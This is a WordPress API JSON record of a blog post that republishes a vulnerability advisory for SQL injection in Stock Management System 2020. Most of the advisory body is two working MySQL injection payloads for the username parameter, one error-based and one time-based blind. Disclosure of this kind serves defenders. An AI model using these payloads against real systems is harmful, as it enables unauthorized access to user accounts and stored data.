{"id":26536,"date":"2022-07-04T20:39:59","date_gmt":"2022-07-04T16:39:59","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167686\/sms2020-sql.txt"},"modified":"2022-07-12T08:42:55","modified_gmt":"2022-07-12T04:12:55","slug":"stock-management-system-2020-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/stock-management-system-2020-sql-injection\/","title":{"rendered":"Stock Management System 2020 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\">## Title: Stock-Management-System-2020 SQLi<br \/>\n## Author: nu11secur1ty<br \/>\n## Date: 07.02.2022<br \/>\n## Vendor: https:\/\/github.com\/Dav-ee<br \/>\n## Software: https:\/\/github.com\/Dav-ee\/Stock-Management-System<br \/>\n## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/Kiprono-Davies\/2022\/Stock-Management-System-2020<\/p>\n<p dir=\"ltr\">## Description:<br \/>\nThe username parameter appears to be vulnerable to SQL injection attacks.<br \/>\nThe attacker kan take an access to all acounts on this system.<br \/>\nStatus: CRITICAL<\/p>\n<p dir=\"ltr\">[+] Payloads:<\/p>\n<p dir=\"ltr\">&#8220;`mysql<br \/>\n&#8212;<br \/>\nParameter: username (POST)<br \/>\nType: error-based<br \/>\nTitle: MySQL &gt;= 5.0 AND error-based &#8211; WHERE, HAVING, ORDER BY or<br \/>\nGROUP BY clause (FLOOR)<br \/>\nPayload: username=RCIdtbFU&#8221;&#8217; AND (SELECT 9919 FROM(SELECT<br \/>\nCOUNT(*),CONCAT(0x71787a6271,(SELECT<br \/>\n(ELT(9919=9919,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM<br \/>\nINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND<br \/>\n&#8216;LcYi&#8217;=&#8217;LcYi&amp;password=g5X!p2l!Q6<\/p>\n<p dir=\"ltr\">Type: time-based blind<br \/>\nTitle: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>\nPayload: username=RCIdtbFU&#8221;&#8217; AND (SELECT 6942 FROM<br \/>\n(SELECT(SLEEP(5)))NOpI) AND &#8216;uUsT&#8217;=&#8217;uUsT&amp;password=g5X!p2l!Q6<br \/>\n&#8212;<\/p>\n<p dir=\"ltr\">&#8220;`<\/p>\n<p dir=\"ltr\">## Reproduce:<br \/>\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/Kiprono-Davies\/2022\/Stock-Management-System-2020)<\/p>\n<p dir=\"ltr\">## Proof and Exploit:<br \/>\n[href](https:\/\/streamable.com\/urkvz7)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Title: Stock-Management-System-2020 SQLi ## Author: nu11secur1ty ## Date: 07.02.2022 ## Vendor: https:\/\/github.com\/Dav-ee ## Software: https:\/\/github.com\/Dav-ee\/Stock-Management-System ## Reference: https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/tree\/main\/vendors\/Kiprono-Davies\/2022\/Stock-Management-System-2020 ## Description: The username parameter appears to be vulnerable to SQL injection attacks. The attacker kan take an access to all acounts on this system. Status: CRITICAL [+] Payloads: &#8220;`mysql &#8212; Parameter: username (POST) Type: error-based &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26536","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26536","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26536"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26536\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26536"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26536"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26536"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}